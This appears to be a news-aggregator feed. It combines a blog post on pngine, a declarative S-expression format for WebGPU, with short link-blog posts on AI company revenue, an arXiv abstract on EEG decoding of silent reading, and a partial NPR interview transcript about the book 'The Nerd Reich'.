Declarative WebGPU with S-expressions

Lobsters
hugodaniel.com
2026-08-23 16:51:00
Comments...
Original Article

WebGPU wiring you can ship and share

This is pngine, a declarative format and runtime for WebGPU I've been working on for the past 2.5 years:

(shader-module :name code :code """
@vertex
fn vertexMain(
  @builtin(vertex_index) VertexIndex : u32
) -> @builtin(position) vec4f {
  var pos = array<vec2f, 3>(
    vec2(0.0, 0.5),
    vec2(-0.5, -0.5),
    vec2(0.5, -0.5)
  );
  return vec4f(pos[VertexIndex], 0.0, 1.0);
}

@fragment
fn fragMain() -> @location(0) vec4f {
  return vec4(1.0, 0.0, 0.0, 1.0);
}
""")

(render-pipeline :name pipeline
  :layout auto
  (vertex :module code :entry vertexMain)
  (fragment :module code :entry fragMain
    (target :format preferred-canvas-format))
)

(render-pass :name trianglePass
  (color-attachment :view context-current-texture
    :clear-value [0 0 0 0] :load-op clear :store-op store)
  :pipeline pipeline
  (draw :vertex-count 3))

(frame :name main :perform [trianglePass])

The code above is a simple red triangle done in WebGPU using S-expressions for the plumbing that match 1:1 with the WebGPU spec .

1-2-3 pngine

Pngine has three main capabilities:

  • It allows you to declare and ship WebGPU plumbing (shaders and cpu/wasm init included), in a cross-platform way (not restricted to browsers, works with rust wgpu too, and players exist for android and ios).
  • It validates the declared WebGPU configuration using WGSL reflection and spec checks, producing errors and warnings without requiring a live WebGPU context. It also has an LSP so it happens while you type.
  • It can export everything to a single .html, or a .zip or a .png file, allowing you to hand someone a PNG that runs itself (the .png does not auto-execute, it just contains the bytecodes, you still need a tiny player to read it and play on your demand).

The last part is the cool one, it's where the "png" in pngine comes from because the S-expressions are compiled to a binary representation which is then interpreted by a tiny runtime. That runtime and payload can be put in an extra PNG chunk, while the PNG itself remains the preview image for what you're shipping.

Read more about all of this on its dedicated page here .

The code is CC0 and is available in Github for issues and discussions and the releases are cut from my self-hosted repo.

pngine logo

But why?

Shipping and sharing custom WebGPU wiring has been an open problem for me. I want a single file that describes all my WebGPU pipelines/buffers/passes/etc as well as the shader modules and WGSL code.

You can do this currently with any general purpose language that supports WebGPU, but I want a higher abstraction with no distractions, something that can be used as a substrate for other tools and provide us with deeper insights (either by a human or a machine).

SJON gave me a way to build DSLs that can be automatically validated, and delivered in a consistent composable way through S-expressions. This is just for the WebGPU wiring and parts, not for the shader code, WGSL I see as a DSL of its own and is kept as is, pristine, not extended.

This idea, where the program representation is itself readable data, is at the center of pngine, this property is very useful to me because when the program representation itself is ordinary structured data it automatically allows us to validate, replay, inspect, minify, serialize and machine-generate, all ahead of time and with each capability operating on the same representation.

I won't go much further into this topic because I have written extensively about this in the SJON post and page .

Package your wires

If I want to share a pipeline with you today, we first need to agree on a pile of conventions. What language is it in: TypeScript, JavaScript, Rust? How are handles represented and passed around? Is this pipeline part of a tiny animation, a game, or something else entirely? Those choices affect how the same WebGPU wiring gets packaged and shared.

Pngine does not remove these, but tries very hard to reduce this surface, in a way that you can bundle multiple WebGPU wirings in the same way for very different purposes and targets.

Most WebGPU plumbing is static

The WebGPU spec is an amazing piece of consistency and elegance applied to the otherwise muddy and convoluted topic of what the graphics world has become. WebGPU puts a great deal of effort into taking implicit state away and moving things up into carefully designed API calls and config objects.

I want to drive this point a bit, take a look at the equivalent JS code for the simple triangle that was laid out at the start:

// (shader-module :name code ...)
const code = device.createShaderModule({
  code: `
@vertex
fn vertexMain(
  @builtin(vertex_index) VertexIndex : u32
) -> @builtin(position) vec4f {
  var pos = array<vec2f, 3>(
    vec2(0.0, 0.5),
    vec2(-0.5, -0.5),
    vec2(0.5, -0.5)
  );
  return vec4f(pos[VertexIndex], 0.0, 1.0);
}

@fragment
fn fragMain() -> @location(0) vec4f {
  return vec4(1.0, 0.0, 0.0, 1.0);
}
`,
});

// (render-pipeline :name pipeline ...)
const pipeline = device.createRenderPipeline({
  layout: "auto",
  vertex:   { module: code, entryPoint: "vertexMain" },
  fragment: { module: code, entryPoint: "fragMain", targets: [{ format }] },
  primitive: { topology: "triangle-list" }, // default
});

// (frame :name main :perform [trianglePass])
const encoder = device.createCommandEncoder();

// (render-pass :name trianglePass ...)
const pass = encoder.beginRenderPass({
  colorAttachments: [{
    view: context.getCurrentTexture().createView(),
    clearValue: [0, 0, 0, 0],
    loadOp: "clear",
    storeOp: "store",
  }],
});
pass.setPipeline(pipeline);
pass.draw(3);          // (draw :vertex-count 3)
pass.end();

device.queue.submit([encoder.finish()]);

This code creates things (createShaderModule, createRenderPipeline, createCommandEncoder) and then wires them up and then at the end sequences them in a pass.

(btw the JavaScript code was generated with pngine, it is one possible output from the s-expressions)

Creating, wiring and sequencing is the deal with WebGPU stuff, and it typically happens in a procedural environment where you can abstract away at your own taste.

Bringing WebGPU wirings to a declarative space is easy, almost immediate, and it allows us to play with the concepts and blocks in a way that they can be described regardless of order, they exist as they are, declared, and can move around as we please.

The WebGPU sequencing part isn't that hard either, we keep a description of what should happen in order, and execute it at the appropriate time.

In pngine frame is one of the few places where order matters, and each name in :perform refers to a pass declared elsewhere in the file.

(frame :name main :perform [
  update-uniforms
  update-textures
  sdf-pass
  post-processing
])

In line with the pipeline

Sharing shader code is neat, shadertoy is an amazing tool with an even better community, lots of examples and code to learn from, just impressive. Use it.

If you want to go a bit deeper, there is compute.toys , it allows you to have multiple compute shaders that feed each other into a final buffer that gets sent to the screen as pixels (ok, its a bit more than this, but just to exemplify). It extends WGSL with #macros that you can use to specify a few pipeline configurations and what not. Amazing tool, I have done a lot of my work in it, it is great if you want to learn WGSL and play around with some ideas.

Nowadays there are tons of these tools, because "hey I can do a better version of this that can cater to my own shader proclivities" and thats really cool, shader tooling evolved by artists. But this is not pngine, sorry there is no playground (there is an LSP though), that is not the idea here.

My idea is pngine is a substrate, a very versatile one, that does not limit you, but helps you (or your fav. machine if you want that) to build on top of it your crazy things that higher level abstractions don't give you so easily (scene graphs, material nodes, etc...).

Triangles, and then...

Triangles are all fun, but that simple example does not speak well of where pngine puts you. Want a particle system that never touches the CPU?

Download the PNG

2048 GPU particles with buffer pooling, shot up from a nozzle, pulled down by gravity, and then respawned with a fresh random velocity when their life runs out.

In this example the attribute buffer is also the thing that the simulation writes.

The full document is on the particle fountain sample page . Or take the PNG above: it is the program, poster and all.

Particle fountain, and then...

Download the PNG

A single draw call gets you 400 low-poly trees swaying in the wind, depth tested against a sky.

The tree itself is 12 vertices typed straight into the document as a (data ...) form, a trunk quad and two foliage triangles. The 400 instance records that place, scale, rotate and tint them are filled once by a compute pass. Both are vertex buffers on the same pipeline, one stepping per vertex and the other per instance, so the whole forest is (draw :vertex-count 12 :instance-count NUM_TREES) .

Check out the full document on the instanced trees sample page . As before, the program, poster and all is the PNG too here.

The bundler and the voyeur

The images above are .png's, and they include an extra binary chunk that holds the actual webgpu player and its payload, making the real JS to load it very tiny. This is one option to export those pngine .sjon files, useful for quick small static things. It can also produce an .html file, a .zip bundle or the binary raw bytecode without any png.

But yeah, the png in pngine is a homage to the initial kickstart idea I had of having the image be simultaneously a preview/poster and also container for the bytecode/runtime payload.

Conclusion

As a closing note/idea I want to grow the substrate term a bit.

Soil and growing substrates serve three core functions: providing structural anchorages for roots, retaining water while allowing oxygen exchange, and storing or delivering nutrients.

For me pngine is such a growing substrate for WebGPU and graphics, a place for low-level experimentation and exploration that is inherently constrained and focused on WebGPU alone, while providing for an easy way to hook generic interactions and cpu (wasm) code into buffers that can be used in shaders.

All delivered in a package that can validate stuff and check for errors and flaws in the terminal or elsewhere (LSP, editor, as you type).

It can be the place for much higher level experimentations to lay their roots on and grow. And share shaders with automatic .png previews that run themselves.

Check out pngine here , and/or see the code here .

Anthropic’s best AI model struggles to attract users as cheaper tools thrive

Simon Willison
simonwillison.net
2026-08-23 16:24:52
Anthropic’s best AI model struggles to attract users as cheaper tools thrive A few interesting numbers in this FT story gathered from "people with knowledge of the matter": Anthropic's "annualized revenue" for July is up to $65bn - it was $47bn in May, and I collected more historic numbers here. An...
Original Article

23rd August 2026 - Link Blog

Anthropic’s best AI model struggles to attract users as cheaper tools thrive ( via ) A few interesting numbers in this FT story gathered from "people with knowledge of the matter":

  • Anthropic's "annualized revenue" for July is up to $65bn - it was $47bn in May, and I collected more historic numbers here .
  • Anthropic expect Q3 to be profitable according to the same model they used to declare Q2 profitable. "It also told investors that it had 6,000 customers that spend $100,000 annually or more."
  • As for OpenAI, "annualised revenue has jumped 35 per cent in the quarter to date and is now over $40bn, with the launch of GPT 5.6 in July jolting the company’s performance after a sluggish start to the year".

This article also introduced me to the Ramp AI index , which uses billing data from 70,000 Ramp credit card using companies to estimate model adoption.

Here's Ramp's breakdown of Anthropic model spend for July 2026, which looks reasonable given that Opus 5 was only released on July 24th, and supports the idea that Fable's cost has made it a less popular model:

  1. Opus 4.8: 28.0%
  2. Sonnet 4.6: 8.3%
  3. Fable 5: 8.0%
  4. Opus 4.6: 6.9%
  5. Sonnet 5: 3.6%
  6. Opus 5: 3.5%
  7. Opus 4.7: 1.7%
  8. Sonnet 4.5: 1.3%
  9. Haiku 4.5: 1.0%
  10. Opus 4.5: 0.7%

Decoding silent reading from non-invasive EEG

Hacker News
arxiv.org
2026-08-23 16:13:34
Comments...
Original Article

View PDF HTML (experimental)

Abstract: Non-invasive decoding of inner speech faces a fundamental data problem: a corpus pairing brain activity with a person's spontaneous inner monologue cannot be collected, and the available proxy paradigms (cued repetitive and retrospectively reported generative inner speech) are slow to acquire, poorly time-locked, and subject compliance is unverifiable. We therefore treat silent reading as a scalable proxy task and ask how much lexical and semantic information a contrastive decoder can extract from it. We report an open-vocabulary analysis of approximately 240,000 word presentations recorded from a single densely-sampled participant across 393 runs (ca. 49 h) of 19-channel dry-electrode EEG. Words from continuous narrative text were presented in rapid serial visual presentation, with typography randomised on every trial to partially decorrelate word identity from low-level visual form. A convolutional EEG encoder, optionally followed by a causal transformer, was trained with a CLIP-style contrastive objective to align short EEG windows with hidden-state embeddings of the presented word taken from a large language model. Decoding, evaluated as word-grouped top-10 retrieval against permutation baselines, was reliably above chance, extended to mid-frequency and rare words, and scaled log-linearly with training-data volume with no sign of saturation. Removing occipital and posterior-temporal electrodes reduced the word-level gain by roughly one third but left context tracking unchanged. Control analyses separate word-level decoding from narrative context tracking and from a non-neural positional prior introduced by the transformer's positional embedding. These results establish that open-vocabulary word-level information is recoverable from EEG during silent reading, and that decoding is data-limited rather than saturated.

Submission history

From: Ingo Marquardt [ view email ]
[v1] Thu, 20 Aug 2026 15:41:05 UTC (4,020 KB)

Quoting Drew Breunig

Simon Willison
simonwillison.net
2026-08-23 15:55:30
Prior to Fable, it felt silly to waste too much time improving your coding harness or context strategies. A new model would arrive at the same price (or cheaper!) and paper over most of your problems. But then Fable landed. It was (and still is!) incredible. But the cost was so high and Opus was goo...
Original Article

23rd August 2026

Prior to Fable, it felt silly to waste too much time improving your coding harness or context strategies. A new model would arrive at the same price (or cheaper!) and paper over most of your problems.

But then Fable landed. It was (and still is!) incredible . But the cost was so high and Opus was good enough (as was 5.6, K3, and even GLM) for most of the code we needed.

So we started to think about what work went where.

Drew Breunig , Fable & The End of the Free Lunch

Posted 23rd August 2026 at 7:55 pm

'The Nerd Reich' tracks the 'unmasking of Silicon Valley's true politics'

Hacker News
www.npr.org
2026-08-23 15:35:35
Comments...
Original Article

Transcript

TONYA MOSLEY, HOST:

This is FRESH AIR. I'm Tonya Mosley. For 20 years, Silicon Valley's unofficial slogan has been to move fast and break things - the breaking, the price of progress. But my guest today says what's being broken right now is American democracy. In his new book, journalist Gil Duran argues that a small circle of Silicon Valley billionaires and the venture capitalists who fund them have concluded that democracy is in their way and that they should be governing in its place. As the outgoing president, Joe Biden gave a similar warning against what he called the rise of a tech industrial complex.

(SOUNDBITE OF ARCHIVED RECORDING)

JOE BIDEN: Americans are being buried under an avalanche of misinformation and disinformation, enabling the abuse of power. The free press is crumbling. Editors are disappearing. Social media is giving up on fact-checking. The truth is smothered by lies told for power and for profit. We must hold the social platforms accountable to protect our children, our families and our very democracy from the abuse of power. Meanwhile, artificial intelligence is the most consequential technology of our time, perhaps of all time. Nothing offers more profound possibilities and risks for our economy and our security, our society for very - for humanity. Artificial intelligence even has the potential to help us answer my call to end cancer as we know it. But unless safeguards are in place, AI could spawn new threats to our rights, our way of life, to our privacy, how we work and how we protect our nation.

MOSLEY: Five days after that speech, at President Trump's inauguration, in the seats closest to the president, the ones normally reserved for family and former presidents, sat some of the most powerful men in tech - Elon Musk, Jeff Bezos, Mark Zuckerberg and Sundar Pichai. And later that day, Musk stood behind the presidential seal and made a gesture much of the world read as a Nazi salute.

Duran's new book, "The Nerd Reich: Silicon Valley Fascism And The War On Democracy," argues that the men behind the president that day were not there to celebrate him. Their presence was proof that 30 years of patient, well-funded work had finally paid off. He writes that some of them were inspired by a 1997 book called "The Sovereign Individual," which predicted digital money would dissolve countries, and with a blogger named Curtis Yarvin, who argued America should be run like a corporation, by a CEO with the powers of a dictator.

Gil Duran began his career at the San Jose Mercury News, then spent 15 years in California politics, working with Dianne Feinstein, Jerry Brown and Kamala Harris. He returned to journalism in 2018, running the opinion pages at the Sacramento Bee and the San Francisco Examiner. He now writes the newsletter The Nerd Reich. Gil, welcome to FRESH AIR.

GIL DURAN: Thanks for having me.

MOSLEY: There was a time when a book like this, arguing that tech billionaires are unmasking themselves, and they have this plan to end American democracy and replace it with things like corporate city-states, it would have been shelved as a bunch of different conspiracy theories. But a lot of what you write about, you didn't have to uncover, you didn't have to unmask. You built the case out of their own writings and speeches and interviews because basically they have been stating their beliefs and aspirations out loud for years.

DURAN: I think we were witnessing the unmasking of Silicon Valley's true politics. They finally were comfortable to reveal their full selves to everyone. And I think for many years, their democratic alignment was mostly self-interest because we had democratic presidents who had important contracts, government contracts, who had power. And so they needed to get along with whoever had power. And now that Trump was returning to power, they saw an opportunity to align with him and to try to realign the country's politics to something more to their liking. I think it's grown quietly, as we've seen many of these people become billionaires and multibillionaires and even one temporarily become a trillionaire.

Once you have people who have so much wealth amassed, then they want power. But for some people in Silicon Valley, specifically Peter Thiel, this idea of using technology to amass wealth and then turn that into monopolistic political power is something that was not accidental. It was something that was carefully cultivated over many decades. And as you said, none of my book came from secret documents, or it's not guessing. This is stuff that these guys have been saying on the record very explicitly for decades.

MOSLEY: OK, let's break this down a little bit more because, I mean, most people might assume that if democracy breaks under all of this tech money and power, it's collateral damage because these are rich men chasing profit, and the country suffers along the way. Part of - a big part of what you are also arguing is the opposite of that, that the breaking actually is the goal.

DURAN: Definitely. My book is about a cult of Silicon Valley billionaires who believe that in the 21st century, technology will make democracy obsolete. And it goes back a few decades. In 1997, if you want to know the full root of it, there was a book that came out called "The Sovereign Individual" that predicted that in the 21st century, technology would result in the end of democracy and nation states like the United States. Specifically, the book said that two technologies - one, something called cybercurrency, which we would today consider crypto, and another called advanced automation, which is basically AI - would collapse the economy and thereby the government itself and would lead to the rise of a new cognitive elite, these sovereign individuals, wealthy individuals who, by making the right investments and the right moves, would be able to profit from the destruction of the United States and other democratic nation states.

And the book was very poorly reviewed and sounded like a conspiracy kook book to most people, but it had such a profound effect on Peter Thiel that he has credited for being one of the reasons why he started PayPal, as an effort to get ahead of this predicted cybercurrency that would transform politics in the 21st century.

MOSLEY: Right. Peter Thiel read it. He grabbed onto it. He, as you mentioned, is the co-founder of PayPal and Palantir, and he's a major funder of Facebook, which made him a billionaire. You know, in particular, when we talk about Thiel in the past, it has always been that some of his ideas around democracy and politics were strange and fringe. He'd written, among other things, that he no longer believed freedom and democracy were compatible. And part of what you're saying here is this book, "The Sovereign Individual," had a huge impact on his belief system. But how did that form his desires and aspirations?

DURAN: Well, in the decades after "The Sovereign Individual" was published, you see Thiel continue to make moves that are clearly based on the book. But, of course, you have to know the book in order to know that, and most people were not familiar with the book because while it became a cult hit in Silicon Valley later, at the time, it was sort of an obscure book that many reviewers dismissed as kooky conspiracy theory, apocalyptic. Yeah, right, the United States is going to be collapsing on the 21st century. This seemed like a joke back in the good old days of 1997. But in the subsequent years, Thiel goes on to give speeches and write essays where he talks about the rise of a digital currency that's coming and then will subvert everything and cannot be stopped by Washington, which will have zero idea of what it's really about.

In 2010, he gives a speech where he says that government is fundamentally evil. And this is weird because at the time, he's a cofounder of Palantir, which was started with investment from the CIA and which is a major government contractor. So you usually don't see government contractors calling the government fundamentally evil in public forums. And he goes on to become somebody who spreads these ideas to other important figures in Silicon Valley, like Marc Andreessen, like Brian Armstrong of Coinbase. And in his book "Zero To One," which is about startups and how to succeed in Silicon Valley and business, Peter Thiel says it's important to start a business that runs like a cult because cults are organizations of total dedication, where people care about them more than anything else, and this is the way to really get things done, is to start your own cult.

And I would say that what Peter Thiel was able to do is take his fringe interest in these ideas and sort of start a cult where he spread them to other important people who are now mostly billionaires and who are pouring hundreds of millions of dollars into our election and are aligned behind Trump. And if you look at what Trump is doing, a lot of the ideas that he's pursuing are ideas that were first thought of and promoted by Peter Thiel and these billionaires.

MOSLEY: Thiel's protege is the vice president, JD Vance. His surveillance company, as you said, holds the ICE contract. Sixteen of his people work inside the administration. So this has gone beyond a cult within Silicon Valley, and now it touches government. With JD Vance in particular, you write that he is essentially Thiel's investment. He helped Vance get his first job in tech, his conversion to Catholicism, he funded his Senate seat. Walk us through how that relationship carried Vance to the White House.

DURAN: Vance first met Thiel at Yale Law School in 2011 when Thiel gave a speech there, and Thiel invited him to come out to California someday. In a - within a couple of years, Vance is in Silicon Valley, working for a venture capital fund that was cofounded by Thiel. Then, when Vance goes back to Ohio, decides to start his own venture fund, it's with money from Peter Thiel, Marc Andreessen and others. When Vance decides to run for Senate, it's with $15 million from Peter Thiel, which was the most money any single individual had ever spent to get someone elected to the U.S. Senate. And when Vance was being considered for vice president, it was Thiel who made the peace between Vance and Trump because Vance had previously, when he was anti-Trump, referred to Trump as America's Hitler.

So at every step of the way, it's Peter Thiel who's clearing the way for JD Vance, who, after being an anti-Trump Republican, goes on to become a full-throated Trump supporter and pro-Trump attack dog, and who, during his Senate campaign, was quoting Curtis Yarvin, this tech fascist philosopher who has openly stated that the United States needs to get rid of democracy and replace it with a monarch - a king or a dictator.

And so you see the total effect of Peter Thiel in completely shifting Vance's political identity. And it's shocking that so quickly Vance got into the White House. And that's when I thought, this is really going beyond what I thought it would. When I started looking at this stuff a few years ago, I knew it was dangerous, but I didn't think it would be a danger to the country until five or 10 years from now. When Vance got on the ticket, it became clear these ideas are going directly into the White House. And what was shocking to me is that very few people mentioned the Thiel relationship - the depth of the Thiel relationship - or the extremism of the ideas behind it.

MOSLEY: If you're just joining us, my guest is journalist and author Gil Duran. His new book is called "The Nerd Reich: Silicon Valley Fascism And The War On Democracy." We'll be back after a break. This is FRESH AIR.

(SOUNDBITE OF THE ACORN SONG, "LOW GRAVITY")

MOSLEY: This is FRESH AIR, and today, my guest is journalist Gil Duran. His new book is "The Nerd Reich: Silicon Valley Fascism And The War On Democracy."

Now I want to talk about one of the other men you write about - Balaji Srinivasan. He's a venture capitalist who writes, among other things, about replacing countries with privately-owned startup societies, which we'll talk about at length a little later. But Srinivasan, in 2023, goes on a podcast and describes how tech is taking over San Francisco. You reported that out and the piece went viral. And there's something very specific that he talked about regarding strategy, with the red and the blues and then the grays that he describes the tech world as. Can you explain that?

DURAN: Certainly. So Balaji Srinivasan is a protege of Peter Thiel who was turned on to the book "The Sovereign Individual" by Peter Thiel and considers it prescient - an important document that tells us where we're going. And in 2013, he gave a speech in which he said that tech needed to secede, essentially, from the United States. That it was time for Silicon Valley to move out of this country, get away from democracy and develop its own new political systems, which raised some eyebrows at the time, but sort of seemed, I think, silly and eccentric to most people. Not like a - it wasn't a serious idea. It wasn't taken seriously, at least.

By 2023, Srinivasan had updated his idea to a new political strategy by which something called the gray tribe, which he defined as the tech people in politics, who were a rising force in U.S. politics - the CEOs, the founders, the billionaires - would form this tech gray tribe, and this gray tribe would partner with the red tribe - the Republicans - to basically oust and purge the blue tribe - the Democrats - from the city of San Francisco. He was using San Francisco as a test case. And this idea of the reds and the grays teaming up against the blues very much seems to be the strategy that's being pursued in Silicon Valley. In fact, in 2024, there was a conference in San Francisco where - there was a conference where it was basically The Heritage Foundation - the right-wing Heritage Foundation - and the venture capitalists of San Francisco meeting to compare notes and share the stage. And the title of the conference was Reboot: The New Reality.

And the website for this conference said, the new reality is already here, it's just not visible yet, and basically argued that tech was waking up to politics and we were about to see this new power unleashed. And that new reality ended up being very much what Srinivasan spelled out - combining behind the Trump administration to create an unprecedented disruption and attack on American democracy.

MOSLEY: And what Trump is getting out of it is to be funded. So more power. But I'm just - what do you know about his relationship with some of these powerful guys, specifically the men that you write about, which come to be around, like, six or so men who hold an extraordinary amount of power through their wealth?

DURAN: The way to understand Trump's relationship with Silicon Valley is through crypto. Trump used to hate crypto. He called crypto a scam. And...

MOSLEY: Yeah. Right.

DURAN: He basically said that it wasn't a real currency - only the dollar is real currency. He was the No. 1 hater of crypto when he was president the first time. And on the day he returned to the White House in 2025, he became a crypto billionaire because billions of dollars are being funneled to the Trump family and his - into their coffers through crypto. And crypto basically is a weapon of mass corruption. It's a way that Silicon Valley can funnel massive amounts of money into the political system. And for some reason, the corruption is so massive that it's even hard for people to explain. The Trump family has amassed billions through crypto, and it's normal. It's just become business as usual now in Washington.

MOSLEY: You know, when you reported about the reds and the grays, and the use of the reds to gain power for the grays, what you reported went viral. And Srinivasan actually came after you. And that's when somebody inside the crypto world actually sent you a message that gave you the title of this book, because it is a provocative book, using reich in the title.

DURAN: Yes. People give me credit for the title, "The Nerd Reich." But I did not come up with that. It was after I wrote about Srinivasan and it went viral and I was under attack for several days with people threatening me with lawsuits, claiming I had made the entire story up, even though everything was hyperlinked - you could go see the videos for yourself. And some people even sending scarier threats than that. Someone from the crypto world reached out to me in a direct message and said, you know, we've been calling these guys the Nerd Reich for years.

And that was surprising to me. It was shocking. And I looked, and no one was using that title for anything. So I grabbed it and rebranded as "The Nerd Reich." But I think it's important to note that this is not a name I came up with. This is their own peers. These are people who largely agree with them on matters of technology, and even on some political stuff, but considered them so extreme and hard-edged that they were comparing them to the Third Reich via the name the Nerd Reich.

MOSLEY: What's it been like for you? You know, in reading this book, it's really clear to me. You've got, like, lots of footnotes here and sources here, other media sources - these guys' own writings and their interviews and speeches - and private folks that have talked to you that want to remain anonymous. What have your efforts been like to talk to these guys directly, particularly Thiel, Srinivasan?

DURAN: I put in interview requests to all of them. And most of them did not reply, except Yarvin did reply. He wouldn't give me an interview, but we went back and forth, and he wrote me many, many long emails, some of them flattering, some of them insulting, attempting to draw me into some kind of public debate instead of an interview. Finally, he realized that all the emails were the interview and stopped writing. But they mostly don't want to talk about this stuff.

I think their goal is to hope that people don't read this book, that it just sort of fades away and nobody cares, nobody's interested in this deeper story of what's happening with Silicon Valley. But so far over the past year, it seems like people are really tuning into what's happening. And people are looking for answers of, why has Silicon Valley aligned with Trump? Why does this all seem so extreme? Why aren't there any billionaires standing up and saying, hey, this stuff is wrong - the president shouldn't be raking in crypto wealth and destroying the Constitution? I don't think their strategy of silence is going to last for long. I think they're going to have to answer for some of these things.

MOSLEY: Our guest today is journalist Gil Duran. After a short break, we'll hear more about the blogger Curtis Yarvin. I'm Tonya Mosley, and this is FRESH AIR.

(SOUNDBITE OF ABDULLAH IBRAHIM'S "NISA")

MOSLEY: This is FRESH AIR. I'm Tonya Mosley, and my guest today is journalist Gil Duran. His new book, "The Nerd Reich: Silicon Valley Fascism And The War On Democracy," makes the case that a small circle of Silicon Valley billionaires has come to see democracy as an obstacle and has spent the last 30 years building the argument and the machinery to get around it. Duran is a former newspaper reporter who spent 15 years working in democratic politics with Dianne Feinstein, Jerry Brown and Kamala Harris before returning to journalism. He now writes the newsletter "The Nerd Reich."

I just want to spend just a little bit of time on Curtis Yarvin. He was a blogger. It was, like, the 2000s - right? - where he began writing under a pen name. And he was arguing even back then, that democracy had failed, that America should be run by a CEO who is essentially a dictator and that the entire federal workforce should be fired. And for years, the only people who really read him were kind of in certain corners of the internet. So how did he and Thiel find each other?

DURAN: In April 2009, Peter Thiel wrote an essay in which he said he no longer believed that freedom and democracy were compatible and suggested that women and other people getting the right to vote marked the end of freedom being a thing you can have with democracy. At least, of course, as we can see for white men, he was talking about. Well, this caused a lot of outcry and criticism of Thiel, who had to go back and say, I didn't mean to say - I'm not saying that women shouldn't have the vote, etc.

But one of the people who publicly defended Peter Thiel at that time was Curtis Yarvin, who was writing at the time under the name of Mencius Moldbug. And sometime after Yarvin's public defense of Thiel, the two met. And Thiel becomes an important promoter and funder of Yarvin's work, which is very unusual because Curtis Yarvin is this computer programmer, and he writes these anonymous blogs where he calls basically for the end of the United States and the end of democracy and the installation of a monarch or a dictator and the purging of the federal government under a future administration, where a president would act as an authoritarian.

And no one should have ever heard of Curtis Yarvin's name. But through Thiel, he meets people like Marc Andreessen, who helps fund his company. He has this company trying to remake the internet from scratch, hasn't quite worked out. But Curtis Yarvin becomes a millionaire and becomes an important voice in what's known as the tech right. And over time, his word spreads through Silicon Valley, and even JD Vance is quoting him before he runs for Senate in podcasts, quoting his idea specifically for a future president to take power and start acting like a dictator, starting with purging the government of massive amounts of federal employees.

MOSLEY: Right. This is where I want to slow down because he writes all of this stuff many, many years ago. But then, now we are here, Gil, this idea of RAGE, which you were just about to talk about, the retire all government employees. And 10 years later, DOGE actually fires hundreds of thousands of federal workers. And you write that it isn't - it's not even clear that Trump has ever heard of Curtis Yarvin. So how does a blogger's idea become a federal policy?

DURAN: Through the Silicon Valley donors. They brought those ideas to Washington. Clearly, JD Vance helped bring those ideas to Washington. And that was one of those points, too, when I think even the establishment press finally realized - The New York Times and others wrote about this - that the idea we came to know as DOGE, where Elon Musk was installed basically as the CEO over the federal government to cut and purge and destroy as much of it as possible came from Curtis Yarvin's idea of RAGE, retire all government employees.

And that's - in early 2025, Curtis Yarvin becomes an international celebrity because it's so clear that he's the guy behind DOGE. In fact, The Washington Post had a story saying that this is the guy behind the DOGE idea, RAGE, and that even people in the Trump administration had said they'd all read Curtis Yarvin. So these crazy ideas move from the margins of society from these random anonymous weirdo blogs on the internet to federal policy under Donald Trump. Now, DOGE didn't really last very long, and it ended up collapsing. You really can't have a CEO ego challenging the president's ego. But that wasn't the only idea that Yarvin had.

He had also suggested that the United States should completely undo its diplomatic standing in the world, stop being the defender of freedom and democracy and specifically should cut international aid programs. And we saw that happen as well with the USAID cuts, which are predicted to cause millions of unnecessary preventable deaths in the poorest countries in the world. So that's why I think it's important to realize that the weird stuff these guys say in their blogs or in their speeches is not just eccentric fluff. Because they have so much money, they can turn these weird ideas into policy and cause tremendous damage. And I believe that that's what we're seeing now, is the execution of these bizarre and dangerous ideas on a scale that even I didn't think was imaginable when all this first started.

MOSLEY: I think that's the thing. It's kind of hard when there are so many ideas out there, 'cause I went looking for some of Yarvin's writings, and it's really hard to tell where his arguments end and really, essentially, where his trolling begins. For instance, you actually write about an essay where he imagines San Francisco's government replaced by a corporation and then wonders whether the people it deems unproductive in society could then be converted into fuel for city buses. And then he says he's kidding. But you have decided that these jokes aren't really jokes, 'cause it sounds completely astounding and ridiculous on the face of it.

DURAN: Well, what he says after he says he's kidding is that the idea is that we need a human alternative to genocide for the poor. And I suppose that's what we're seeing in the USAID cuts, where we're just going to let disease and starvation take away people and end their lives. And so, part of what they do is they tell the truth in these long-winded, absurd ways. They tell their truth. They speak their true message, but they slightly disguise it as satire. But now it's become very clear that Yarvin's not joking and that the billionaires who support Curtis Yarvin are not joking. They see their chance to strip away the federal bureaucracy and regulations to end international aid programs and to really undermine the very constitutional basis of our government by exerting their authority through crypto and - all the things that they say are the things that they do.

MOSLEY: If you're just joining us, my guest is journalist and author Gil Duran. His new book is called "The Nerd Reich: Silicon Valley Fascism And The War On Democracy." We'll be back after a short break. This is FRESH AIR.

(SOUNDBITE OF MUSIC)

MOSLEY: This is FRESH AIR. I'm Tonya Mosley and my guest is journalist Gil Duran. His new book is "The Nerd Reich: Silicon Valley Fascism And The War On Democracy."

I want to break down this fascination with the idea of the network state and what we're actually talking about here. So what is a network state? What does daily life inside of one look like?

DURAN: Well, the most basic definition of a network state, according to Srinivasan, is a community that forms online of like-minded people who then decide to go and crowdfund a new territory somewhere and start their own country.

And what does life look like in a network state? We don't really have an answer to that because not many people spent much time in them, but the idea has manifested in two ways. One, one could say that the tech takeover of our current government, its alignment with Trump, is an attempt at the network state idea - using their money and influence to take over an existing government and turn it to their purposes. But we also see some projects around the world where they are trying to create new nations. One of them is in Honduras, called Prospera, where a group of tech billionaires have funded a new settlement that has, like, a office building and a hotel and some residences which they're trying to develop into a new sovereign territory where the - where usual regulations and laws don't apply.

MOSLEY: And Thiel has funded this, as well as a few others, like Sam Altman and Srinivasan.

DURAN: And Marc Andreessen, through a company called Pronomos Capital. They have a whole company, a venture capital company that's dedicated to funding these projects around the world. And this is very unpopular in Honduras, where the Supreme Court declared it unconstitutional and the legislature passed a law saying that these kinds of projects are actually not allowed. So that's one example.

There's another example called Praxis, which is a proposed city, also funded by Pronomos Capital and a bunch of tech billionaires, that was originally going to build a new city somewhere in the Mediterranean, but after not finding anybody who wanted this tech city in the Mediterranean, decided it would be built in Greenland. And this coincided with Trump threatening to take Greenland. In fact, some of these guys went over there and toured Greenland and were making a lot of noise about how, if we take Greenland, we're going to build this city here. So Trump also has this idea that he proposed in 2023 to build what he calls Freedom Cities on federal land - basically have a competition to see who wants to build a new city. And somebody wins the competition, they get federal land to build a new city.

